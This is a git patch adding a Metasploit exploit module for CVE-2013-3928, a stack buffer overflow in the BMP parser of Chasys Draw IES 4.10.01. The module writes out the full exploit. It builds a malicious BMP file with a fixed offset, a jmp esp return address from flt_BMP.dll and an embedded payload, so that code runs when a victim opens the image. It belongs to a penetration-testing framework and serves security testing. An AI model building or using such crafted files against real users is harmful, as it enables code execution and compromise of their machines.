From b3f229ff59e468fa1d292b9fd913d6ce9ae118f3 Mon Sep 17 00:00:00 2001
From: jvazquez-r7 <juan.vazquez@metasploit.com>
Date: Mon, 12 Aug 2013 17:18:30 -0500
Subject: [PATCH] Add module for CVE-2013-3928

---
 .../fileformat/chasys_draw_ies_bmp_bof.rb     | 99 +++++++++++++++++++
 1 file changed, 99 insertions(+)
 create mode 100644 modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb

diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb
new file mode 100644
index 0000000000..2e5d132e8b
--- /dev/null
+++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb
@@ -0,0 +1,99 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = NormalRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Chasys Draw IES Buffer Overflow",
+			'Description'    => %q{
+					This module exploits a buffer overflow vulnerability found in Chasys Draw IES
+				(version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while
+				parsing BMP files, where the ReadFile function is used to store user provided data
+				on the  stack in a insecure way. It results in arbitrary code execution under the
+				context of the user viewing a specially crafted BMP file. This module has been
+				tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7
+				SP1.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Christopher Gabriel',     # Vulnerability Discovery
+					'Longinos Recuero Bustos', # PoC
+					'Javier \'soez\'',         # PoC
+					'juan vazquez'             # Metasploit
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2013-3928' ],
+					[ 'BID', '61463' ],
+					[ 'URL', 'http://secunia.com/advisories/53773/' ],
+					[ 'URL', 'http://longinox.blogspot.com/2013/08/explot-stack-based-overflow-bypassing.html' ]
+				],
+			'Payload'        =>
+				{
+					'Space'       => 21112, # Indeed there is more space available on the stack, just limited by the trigger
+					'DisableNops' => true
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					[ 'Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1',
+						{
+							'Offset' => 65536,
+							'Ret' => 0x10005fd3 # jmp esp # from flt_BMP.dll v4.10.1.0
+						}
+					],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Jul 26 2013",
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ true, 'The file name.',  'msf.bmp']),
+			], self.class)
+
+	end
+
+	def exploit
+
+		bof = rand_text(target['Offset'])
+		bof << [target.ret].pack("V")
+		bof << payload.encoded
+
+		bitmap_header = ""
+		bitmap_header << [0x28].pack("V")       # HeaderSize
+		bitmap_header << [0x4a3].pack("V")      # Width    # Used to trigger the overflow
+		bitmap_header << [0x1].pack("V")        # Height
+		bitmap_header << [0x9].pack("v")        # Planes   # Used to trigger the overflow
+		bitmap_header << [0x41].pack("v")       # BitCount # Used to trigger the overflow
+		bitmap_header << [0x0].pack("V")        # Compression
+		bitmap_header << [bof.length].pack("V") # SizeImage
+		bitmap_header << [0x0].pack("V")        # PelsPerMeterX
+		bitmap_header << [0x0].pack("V")        # PelsPerMeterY
+		bitmap_header << [0x0].pack("V")        # ClrUse
+		bitmap_header << [0x0].pack("V")        # ClrImportant
+
+		total_size = bof.length + bitmap_header.length + 14 # 14 => file header length
+
+		file_header = ""
+		file_header << "BM"                     # Signature
+		file_header << [total_size].pack("V")   # Size
+		file_header << [0].pack("V")            # Reserved
+		file_header << [0x36].pack("V")         # BitsOffsets
+
+		bmp = file_header + bitmap_header + bof
+		file_create(bmp)
+	end
+end
+